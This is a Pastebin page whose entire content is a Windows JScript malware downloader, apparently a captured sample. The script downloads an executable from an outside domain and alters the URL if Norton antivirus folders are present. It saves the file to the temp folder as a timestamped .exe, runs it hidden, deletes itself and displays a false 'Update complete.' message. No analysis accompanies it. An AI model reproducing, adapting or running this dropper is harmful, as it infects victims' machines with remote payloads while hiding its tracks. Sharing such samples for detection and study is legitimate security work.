sysopfb

Untitled

Jan 4th, 2017
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. try {
  2. a = new ActiveXObject("Wscript.Shell");
  3. b = new ActiveXObject("Scripting.FileSystemObject");
  4. c = new ActiveXObject("MSXML2.XMLHTTP");
  5. d = new ActiveXObject("ADODB.Stream");
  6. url = "https://uabeeprozdravi.net/10/519.dat";
  7. var fso = new ActiveXObject("Scripting.FileSystemObject");
  8. var wssh = new ActiveXObject("WScript.Shell");
  9. var pr_dir = wssh.ExpandEnvironmentStrings("%PROGRAMFILES(x86)%");
  10. var all_dir = wssh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%");
  11. if ((fso.FolderExists(pr_dir + String.fromCharCode(92) + "NortonInstaller") == true) || (fso.FolderExists(all_dir + String.fromCharCode(92) + "Norton") == true)) url = url + "s";
  12. fname = b.GetSpecialFolder(2) + String.fromCharCode(92) + new Date().getTime() + ".exe";
  13. for (var i = 1; i <= 5; i++) {
  14. try {
  15. c.open("GET", url, false);
  16. c.send(null);
  17. break;
  18. } catch (e) {
  19. WScript.Sleep(5000);
  20. }
  21. }
  22. d.Open;
  23. d.Type = 1;
  24. d.Write(c.ResponseBody);
  25. d.Position = 0;
  26. if (b.Fileexists(fname)) b.DeleteFile(fname);
  27. d.SaveToFile(fname);
  28. a.run("cmd.exe /c " + String.fromCharCode(34) + fname + String.fromCharCode(34), 0, false);
  29. var p = WScript.ScriptFullName;
  30. if (b.FileExists(p)) b.DeleteFile(p);
  31. WScript.Echo("Update complete.");
  32. } catch (e) {}
Advertisement
Add Comment
Please, Sign In to add comment